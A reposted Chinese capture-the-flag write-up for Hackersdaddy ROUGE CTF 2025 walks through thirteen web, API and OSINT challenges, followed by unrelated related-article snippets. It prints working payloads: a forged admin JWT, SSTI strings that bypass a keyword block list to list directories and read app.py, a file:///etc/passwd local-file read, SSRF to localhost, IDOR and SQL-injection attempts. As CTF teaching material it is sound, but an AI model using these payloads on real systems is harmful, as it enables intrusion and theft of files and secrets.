Hackersdaddy ROUGE CTF 2025 完整解题记录

news/2025/10/3 18:05:59/文章来源:https://www.cnblogs.com/qife122/p/19124819

Hackersdaddy ROUGE CTF 2025 — 完整解题记录

本周末,我参加了Hackersdaddy CTF 2025,这是一次令人难以置信的经历。我解决了全部13个挑战,获得2180分,总体排名第3——与第1名和第2名得分相同。

这次CTF包含了Web、OSINT和API利用的很好组合,每个挑战都突出了现实世界的安全漏洞。在这篇文章中,我整理了所有13个挑战的解题记录,详细分解了思考过程、方法和最终解决方案。

挑战1 — Warm up

类别: Recon / OSINT
难度: 非常简单
摘要: 一个简单的热身挑战,引导到一个包含奇怪符号字符串的Discord频道。识别出Brainfuck模式后快速解码并恢复flag。

方法
我跟随挑战中提供的链接加入/探索了Discord频道。在浏览频道描述和消息时,我发现了一个长的、奇怪的字符序列。该模式看起来像Brainfuck——一种极简的深奥语言——所以我将其视为Brainfuck处理。

步骤:

  • 从频道复制符号序列
  • 通过Brainfuck解释器运行
  • 读取解码输出以提取flag

Payload (Brainfuck)

++++++++++[>+++++++>+++++++>++++++++>++++++++>+++++++++>+++++++>+++++++>++++++++++++>++++++++++++>+++++++>+++++++++++>+++++++>+++++++++++>++++++++>++++++++++>++++++++++>+++++++>+++++++++++>+++++++++++>++++++++++>++++++++++>+++++++++>+++++>++++++++++++>++++++++++>+++++++>+++++++++++>+++++++>++++++++++>+++++++>+++++>+++++++++++>+++++++>+++++++++++++<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>++.>--.>++.>-.>-----.>+.>-.>+++.>-.>-.>--.>---.>+.>---.>+.>-----.>+.>--.>-----.>.>-----.>-.>--.>---.>-----.>++.>++++.>-.>-----.>++.>+.>++++.>-.>-----.

解决方案
将上述Brainfuck程序提供给解释器产生了包含flag的字符串。

Flag: HDROUGE{wElCoMe_GlAd_Y0u_4rE_H3rE}

挑战2 — Looking for something?

类别: OSINT
难度: 非常简单
摘要: 一个OSINT挑战,暗示Hackersdaddy团队中的某个人隐藏了一个秘密。检查LinkedIn/个人资料/网站导致在最近帖子的评论中找到隐藏的flag。

方法
跟随有人在Hackersdaddy团队隐藏秘密的提示。检查了LinkedIn个人资料、网站和最近帖子。在用户对最近帖子的评论中找到了flag。

解决方案
定位包含flag的Instagram评论。

Flag: HDROUGE{InStA_G3t_ThE_Fl4g_HeRe}

挑战3 — GlassX — 1

类别: Web / Recon
难度: 简单
摘要: 网站暗示了XSS挑战(GlassX)。虽然GlassX — 2专注于XSS,但GlassX — 1很简单——flag隐藏在robots.txt中。

方法
访问了网站https://glassx.vulnnet.com/并检查了常见发现文件。在robots.txt文件中找到flag并提交。

解决方案
检查robots.txt并提取flag。

Flag: HDROUGE{0b5cur3d_1n_r0b0ts}

挑战4 — GlassX — 2

类别: Web / 访问控制
难度: 中等(感觉更难)
摘要: 旨在作为https://glassx.vulnnet.com/flag的管理员专用flag。在尝试各种payload利用漏洞后,我最终在管理员发布的帖子中找到了flag引用,并用它解决了挑战。

方法
我专注于针对GlassX站点(https://glassx.vulnnet.com/)的XSS payload,并尝试了各种脚本来利用<script>注入点。挑战环境不稳定,在测试期间由于payload、弹出窗口和重定向多次中断。经过长时间的故障排除和使用Burp拦截流量后,我发现了一个管理员发布flag的帖子。

解决方案
在管理员的帖子中找到flag引用并提交。

Flag: HDROUGE{cl34r_gl4ss_bl1nd3d_m3}

挑战5 — Shadows of the Nation

类别: API
难度: 中等
摘要: 一个基于API的挑战,其中未经身份验证或授权不足访问用户配置文件端点以纯JSON形式暴露管理员帐户详细信息——管理员bio包含flag。

方法
测试了用户范围的API端点,并检查响应的信息泄露。注意到端点(如/api/user/{id}(公开可访问))上的授权不一致,而其他端点如/api/user/1/favourites保护不一致。

通过直接请求管理员配置文件重现问题。

示例重现命令:

curl -s https://rouge-nation.vulnnet.com/api/user/1

返回的JSON包括包含flag的管理员bio。

解决方案
从未经身份验证的/api/user/1端点检索管理员bio并提取flag。

Flag: HDROUGE{4a525a0ec67f77ac14a1b8ab49adfe69}

挑战6 — The Token

类别: JWT / 身份验证
难度: 中等
摘要: 泄露的客户端提示揭示了JWT密钥。我用HS256伪造了一个管理员令牌(id=2),并用它查询API,返回了flag。

方法(确切步骤)

  • 以普通用户身份登录;服务器返回令牌cookie(JWT)
  • 检查仪表板HTML并找到客户端提示:<!-- Hint: id: 2, role: admin, exp: 9999999999, superweakjwtsecret -->
  • 观察普通帐户的/api/user输出:
{"bio": "hi","id": 29,"role": "user","username": "a"
}
  • 使用泄露的密钥和HS256伪造管理员令牌(id=2)。使用的令牌:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.sNchVGd_B54r4LwU18TPCBMExPAea2mgyXdLpf4B-gQ
  • 使用id=1和id=2的令牌查询/api/user,并接收管理员用户对象:
{ "bio": "CTF admin of the dark net.", "id": 1, "role": "admin", "username": "vulnnet" }
{ "bio": "CTF administrator and movie buff.", "id": 2, "role": "admin", "username": "admin2" }
  • 使用id=0伪造令牌。查询/api/user返回500内部服务器错误:TypeError: 'NoneType' object is not iterable
  • 使用管理员令牌(id=2)针对/api/2获取flag,使用下面的确切命令并在JSON响应中接收flag。

重现(使用的确切命令)

curl -s -b "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.sNchVGd_B54r4LwU18TPCBMExPAea2mgyXdLpf4B-gQ" \https://jwt.vulnnet.com/api/2

响应包含:

{"flag": "HDROUGE{JWT_TOKEN_R0TATE_P0WN3D}"
}

Flag: HDROUGE{JWT_TOKEN_R0TATE_P0WN3D}

挑战7 — THE Nexus

类别: GraphQL / API
难度: 中等
摘要: 通过站点类别找到GraphQL端点。完整内省被阻止,但部分类型内省(__type(name:"User"))揭示了User类型上的flag字段。查询管理员用户(id:1)以检索flag。

方法
从有效会话cookie开始:

Cookie: session=eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoiYSJ9.aNfbfg.xelK52vlnMJ4ui_VJeSW4QbbUAw

访问仪表板和类别端点。Hacking类别揭示了GraphQL端点:

GET /category/hacking HTTP/1.1
Host: graphql.vulnnet.com
Cookie: session=eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoiYSJ9.aNfbfg.xelK52vlnMJ4ui_VJeSW4QbbUAw

响应(摘录):

[{"note": "GraphQL endpoint available at /graphql"}
]

测试GraphQL端点进行内省:

curl -X POST https://graphql.vulnnet.com/graphql \-H "Content-Type: application/json" \-H "Cookie: session=eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoiYSJ9.aNfbfg.xelK52vlnMJ4ui_VJeSW4QbbUAw" \-d '{"query":"query { __schema { types { name } } }"}'

响应:

{"error":"Introspection not allowed for non-admins"}

通过尝试常见查询执行字段枚举。users查询成功并返回多个用户包括管理员:

请求(GraphQL):

query { users { id username email role } }

响应(摘录):

{"users": [{ "email": "admin@ctf.local", "id": 1, "role": "admin", "username": "vulnnet" },{ "email": "ghost@example.com", "id": 2, "role": "user", "username": "ghost" }// ...]
}

使用部分类型内省发现User上的字段:

请求(GraphQL):

query { __type(name:"User") { name fields { name type { name kind ofType { name kind } } } } 
}

响应(摘录):

{"__type": {"name": "User","fields": [{ "name": "id", "type": { "kind":"SCALAR","name":"Int" } },{ "name": "username", "type": { "kind":"SCALAR","name":"String" } },{ "name": "email", "type": { "kind":"SCALAR","name":"String" } },{ "name": "role", "type": { "kind":"SCALAR","name":"String" } },{ "name": "flag", "type": { "kind":"SCALAR","name":"String" } }]}
}

关键发现: User类型暴露flag字段。

查询管理员用户(id:1)的flag字段:

最终请求:

curl -X POST "https://graphql.vulnnet.com/graphql" \-H "Content-Type: application/json" \-H "Cookie: session=eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoiYSJ9.aNfbfg.xelK52vlnMJ4ui_VJeSW4QbbUAw" \-d '{"query":"query { user(id:1) { id username email role flag } }"}'

最终响应:

{"user": {"email": "admin@ctf.local","flag": "HDROUGE{1ntr0sp3ct10n_r3v34ls_4ll}","id": 1,"role": "admin","username": "vulnnet"}
}

Flag: HDROUGE{1ntr0sp3ct10n_r3v34ls_4ll}

挑战8 — Rouge Portal

类别: SSTI / 远程代码执行
难度: 中等
摘要: 利用了Flask应用程序中的服务器端模板注入,该应用程序评估f字符串/自定义模板语法。使用字符串连接和Python对象内省绕过关键字过滤器,读取app.py并检索flag。

方法
目标: https://rougeportal.vulnnet.com/
目标: 找到"红门"后面的隐藏flag

步骤1 — 初始侦察
请求

POST /submit HTTP/1.1
Host: rougeportal.vulnnet.com
Content-Type: application/x-www-form-urlencodedcommand=id

响应

<strong>Output:</strong><br />id

应用程序回显输入,表明过滤/模板化。

步骤2 — 测试模板注入
请求

POST /submit HTTP/1.1
Host: rougeportal.vulnnet.com
Content-Type: application/x-www-form-urlencodedcommand=${7*7}

响应

<strong>Output:</strong><br />$49

表达式被评估——确认了带有${}语法的SSTI。

步骤3 — 枚举Python对象模型
请求

POST /submit HTTP/1.1
Host: rougeportal.vulnnet.com
Content-Type: application/x-www-form-urlencodedcommand=${().__class__.__bases__[0].__subclasses__()}

响应

<strong>Output:</strong><br />$[<class 'type'>, <class 'async_generator'>, ... (Python类长列表)]

检索运行时Python类。

步骤4 — 发现自定义模板语法
请求

POST /submit HTTP/1.1
Host: rougeportal.vulnnet.com
Content-Type: application/x-www-form-urlencodedcommand={7*7}

响应

<strong>Output:</strong><br />49

发现应用程序也评估{}表达式。

步骤5 — 检查模板上下文
请求

POST /submit HTTP/1.1
Host: rougeportal.vulnnet.com
Content-Type: application/x-www-form-urlencodedcommand={__builtins__.dir()}

响应

<strong>Output:</strong><br />['blocked_patterns', 'content']

找到模板上下文变量包括blocked_patterns。

步骤6 — 揭示被阻止的模式
请求

POST /submit HTTP/1.1
Host: rougeportal.vulnnet.com
Content-Type: application/x-www-form-urlencodedcommand={blocked_patterns}

响应

<strong>Output:</strong><br />['__import__', 'import', 'os.', 'subprocess.', 'eval', 'exec', 'open(', 'file(', 'compile', 'bytes', 'chr', 'ord', 'system', 'popen', 'run', 'call', 'check_output', 'flag', 'secret', 'cat ', 'bash', 'sh', 'zsh']

获得完整的关键字/模式阻止列表。

步骤7 — 绕过过滤器并列出目录
请求

POST /submit HTTP/1.1
Host: rougeportal.vulnnet.com
Content-Type: application/x-www-form-urlencodedcommand=${getattr(__builtins__,'__imp''ort__')('o''s').listdir('.')}

响应

<strong>Output:</strong><br />$['secret', 'start.sh', 'static', 'Dockerfile', 'templates', 'requirements.txt', 'creds.txt', 'app.py', 'docker-compose.yml', 'restricted_shell.py']

获得目录列表;存在app.py和secret。

步骤8 — 读取应用程序源代码并捕获flag
请求

POST /submit HTTP/1.1
Host: rougeportal.vulnnet.com
Content-Type: application/x-www-form-urlencodedcommand=${getattr(__builtins__,'op''en')('app''.py').read()}

输出

$from flask import Flask, request, render_template, send_from_directory
import osapp = Flask(__name__)
FLAG = "HDROUGE{r3m0t3_3x3cuti0n_d0minat3d}"
... (完整应用程序代码)

app.py包含flag。

Flag: HDROUGE{r3m0t3_3x3cuti0n_d0minat3d}

挑战9 — Service Hustle

类别: Web / SSTI / IDOR
难度: 中等
摘要: 一个允许提供商注册的市场应用程序。枚举揭示了隐藏的工作资源(IDOR)。真正的突破是投标消息字段中的SSTI——渲染{{config}}暴露了Flask配置包括flag。

方法
目标: https://service-hustle.vulnnet.com/
目标: 找到隐藏flag

步骤1 — 注册为提供商
请求

curl -X POST https://service-hustle.vulnnet.com/auth/register \-d "name=test&email=test@gmail.com&password=test&role=provider"

观察: 仅允许提供商角色注册;其他角色被阻止,显示"Only provider registration is allowed."

步骤2 — 浏览仪表板/枚举工作
登录后,提供商仪表板暴露了可访问的工作端点,如/api/jobs/1到/api/jobs/8。直接访问更高的工作ID(例如/api/jobs/9)返回数据——表明存在IDOR(不安全的直接对象引用),其中存在隐藏工作但某些操作受限制。

步骤3 — 测试常见攻击向量
SQLi尝试(已清理)

curl -X POST https://service-hustle.vulnnet.com/auth/login \-d "email=admin' OR '1'='1&password=anything"

响应: "Bad credentials"——正确清理。

端点枚举:/api/users、/api/admin、/api/flag返回404。客户端点(例如/customer/dashboard)不可访问。注册期间的参数污染未能覆盖角色。

步骤4 — 测试投标消息中的SSTI
请求

curl -X POST https://service-hustle.vulnnet.com/api/jobs/2/bids \-b "session=VALID_SESSION_TOKEN" \-d "amount=10&eta_minutes=1&message={{config}}"

响应(渲染的投标消息):

<渲染输出包含Flask配置>
Database URI: sqlite:////app/app.db
FLAG: HDROUGE{SSTI_T0ken_H1jack2Flag_42af9d}
Secret key: dev-secret-change-me
... (其他配置值)

{{config}} payload在服务器上执行并打印应用程序配置对象,暴露flag。

Flag: HDROUGE{SSTI_T0ken_H1jack2Flag_42af9d}

挑战10 — CineVault

类别: Web / 本地文件读取(LFR)
难度: 中等
摘要: CineVault是一个电影票务应用程序,具有多个端点。在检查应用程序的许多区域后,我终于到达了一个最初未使用的配置文件功能——使用其媒体/代理功能我能够读取本地文件并从应用程序源代码恢复flag。

方法
目标: https://cinevault.vulnnet.com/
目标: 通过应用程序定位敏感文件或flag

步骤1 — 测试媒体代理的外部获取
请求

curl -v "https://cinevault.vulnnet.com/media/proxy?url=https://example.com/"

响应(摘录)

<!doctype html>
<html>
<head><title>Example Domain</title>...</head>
<body><h1>Example Domain</h1>...</body>
</html>

确认代理获取并返回外部资源。

步骤2 — 通过file://方案测试本地文件读取
请求

curl -v "https://cinevault.vulnnet.com/media/proxy?url=file:///etc/passwd"

响应(摘录)

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

端点允许本地文件读取。

步骤3 — 枚举可能的应用程序文件
请求

curl "https://cinevault.vulnnet.com/media/proxy?url=file:///app/app.py"
curl "https://cinevault.vulnnet.com/media/proxy?url=file:///var/www/html/app.py"
curl "https://cinevault.vulnnet.com/media/proxy?url=file:///home/ctf/flag"

响应(摘录)

  • /app/app.py返回应用程序源代码(完整文件)
  • /var/www/html/app.py返回源代码(如果存在)
  • /home/ctf/flag返回404(未找到)

Flag: HDROUGE{CineVault_L3ak_SuP3ss10N_t0K3n_ByP455_eXpLO1T_M4ST3R_FL4G_2025}

挑战11 — App1 — Flag 1

类别: Web / 信息泄露
难度: 简单
摘要: 提交订阅请求暴露/确认了flag。

方法
请求

POST /subscribe.php HTTP/2
Host: ctfapp1.vulnnet.com
Content-Type: application/x-www-form-urlencodedname=test&email=test@test.com

Flag: HDROUGE{Act1ve_Inf0_4nd_Vuln3r4b1l1ty}

挑战12 — App1 — Flag 2

类别: Web / 枚举
难度: 简单
摘要: 在vbscripts路径下找到隐藏资源,导致包含flag的UUID命名页面。

方法

/vbscripts/updates-topic/typolight/cardinalauth

此路径揭示了资源标识符:

/12daa3f6-5990-403a-82ee-fbb7afb63110

可访问URL:

https://ctfapp1.vulnnet.com/12daa3f6-5990-403a-82ee-fbb7afb63110

Flag: HDROUGE{3num3r4t10n_1s_k3y}

挑战13 — SkyFrame

类别: SSRF(服务器端请求伪造)
难度: 简单/中等
摘要: 发现隐藏的开发人员获取端点(/sUp3r_S3cRet),该端点接受url参数并返回服务器端响应。使用此端点请求服务器自己的http://127.0.0.1:8000/flag.txt返回了flag。

方法
目标: http://54.169.182.220:8000
目标: 通过SSRF访问内部资源并检索flag

侦察 — 找到隐藏端点
检查主页和静态资产(public/static/app.js),其中包含开发人员提示。
访问/whoami并找到指向隐藏端点的HTML注释:
<!-- Try the hidden endpoint: /sUp3r_S3cRet -->

PoC请求(触发SSRF)
请求

curl -X POST "http://54.169.182.220:8000/sUp3r_S3cRet" \-d "url=http://127.0.0.1:8000/flag.txt"

观察响应

HDROUGE{SkyFrAmE_SeRvErSiDe_ReQ}

Flag: HDROUGE{SkyFrAmE_SeRvErSiDe_ReQ}

— — — — — — — — — — 结束 — — — — — — — — — —
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/926161.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

学习comfyui

学习comfyuivae模块: vae 解码模块: 把latent -->image 输出可以连接为保存或者预览.VAE 节点配置与使用 模型来源 默认加载:通过 Load Checkpoint 节点加载大模型时,自动绑定其内置的 VAE。 独立加载:使用 VAE …

完整教程:uniapp 日历组件 uni-datetime-picker

完整教程:uniapp 日历组件 uni-datetime-pickerpre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", …

个人二级网站怎么做汽车精品设计网站建设

让手机通过电脑上网的方式有很多种&#xff0c;最常见的就是 WIFI 了&#xff0c;而且简单直接。但是有时候台式机没有 WIFI &#xff0c;或者电脑的 WIFI 设备已经连接到其他的网络了&#xff0c;这时候手机就不能通过电脑的 WIFI 连接到网络。那么还没有有办法连接到网络呢&a…

实用指南:精读C++20设计模式:行为型设计模式:中介者模式

实用指南:精读C++20设计模式:行为型设计模式:中介者模式2025-10-03 17:55 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !importan…

c 网站开发引擎wordpress 后台翻译

一 前言MySQL 5.7.8 之后 支持 JSON (由rfc7159规定)数据类型&#xff0c;其能在字段中使用json 类型&#xff0c;做到了自动校验是否为json类型数据&#xff0c;否则插入数据会报异常&#xff1b;其次&#xff0c;储存json数据内部做到了优化储存&#xff0c;能够快速读取json…

成都医院手机网站建设宁波网站推广优化外包公司

动动发财的小手&#xff0c;点个赞吧&#xff01; 简介 作为理解、生成和处理自然语言文本的有效方法&#xff0c;自然语言处理&#xff08;NLP&#xff09;的研究近年来呈现出快速传播和广泛采用。鉴于 NLP 的快速发展&#xff0c;获得该领域的概述并对其进行维护是很困难的。…

查看cuda型号.

查看cuda型号.cmd打开命令行:执行命令:nvidia-smi这里展示CUDA的版本号是与当前 GPU 驱动(driver)程序兼容的 CUDA 运行时版本。这是驱动程序支持的最高 CUDA 版本,并不是系统上安装的 CUDA的版本!!!!!!!!!!!!!!!…

AI元人文系列:透明推理者——下一代大模型架构设计

AI元人文系列:透明推理者——下一代大模型架构设计 引言:从“智能工具”到“思维伙伴” 人工智能正站在新的十字路口。当前的大模型能够创作诗歌、解答难题、生成代码,却无法清晰回答一个简单却关键的问题:“你为什…

个人随笔

设计网页时,如果遇到float 一定要注意下面的元素要 clear,不然会有bug

专做电器的网站怎么开网站做站长

利用图扑三维可视化技术展示园区在不同时间段的变化&#xff0c;提供全景漫游体验&#xff0c;帮助用户全方位感受和理解园区环境&#xff0c;实现智能化管理与优化。

Fedora Atomic Desktops

https://docs.fedoraproject.org/en-US/emerging/ Fedora Atomic DesktopsFedora Silverblue Fedora Silverblue is an atomic desktop operating system featuring the GNOME desktop, a beautiful, high-quality des…

完整教程:【论文阅读】具身人工智能:从大型语言模型到世界模型

完整教程:【论文阅读】具身人工智能:从大型语言模型到世界模型pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "C…

Android达成RecyclerView粘性头部效果,模拟微信账单列表的月份标题平移

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

实用指南:【C语言】char * 、char [ ]、const char * 和 void *的使用以及区别

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

常德网站优化公司东莞大岭山天气预报

【我是谁】 1.学历&#xff1a;22届双非本科校企合作&#xff08;软外&#xff0c;软件工程服务外包&#xff09;&#xff0c;编程课大部分是印度的NIIT老师上课&#xff0c;印式英语一点儿听不懂。。。所以大学全都自学的&#xff0c;和非科班的也没什么区别和优势&#xff0c…

PowerShell注意点

$()和${}的区别: $()表示命令替换,将括号内的命令执行后得到的输出作为值。 例如,$(ls)将会执行ls命令后得到当前目录下的文件列表作为值。 ${}表示变量替换,将大括号内的变量的值作为值。 例如,${a}将取变量a的值…

自动化脚本的自动化执行实践 - 详解

自动化脚本的自动化执行实践 - 详解2025-10-03 17:36 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !imp…

做商业网站的服务费维护费直播型网站开发

在Kotlin中&#xff0c;注解&#xff08;Annotations&#xff09;是一种用于在程序代码中添加元数据的特殊标记。它们提供了对代码的描述性信息&#xff0c;但本身并不会影响程序的运行。注解可以应用于类、方法、属性等程序元素上&#xff0c;用于提供关于这些元素的额外信息。…

m3u8转mp4软件中文版推荐与使用指南

近年来,随着在线视频的普及,m3u8格式的流媒体文件变得越来越常见。不少用户希望将m3u8文件转换为通用的mp4格式,便于本地保存、播放或分享。那么,选择一款好用的m3u8转mp4软件中文版,就成了很多小伙伴的需求。下面…

Unity简易事件分发器

一、EventFunctionusing System; namespace EventCore {public struct EventFunction{public object _caller;public Action _action;}public struct EventFunction<T>{public object _caller;public Action<…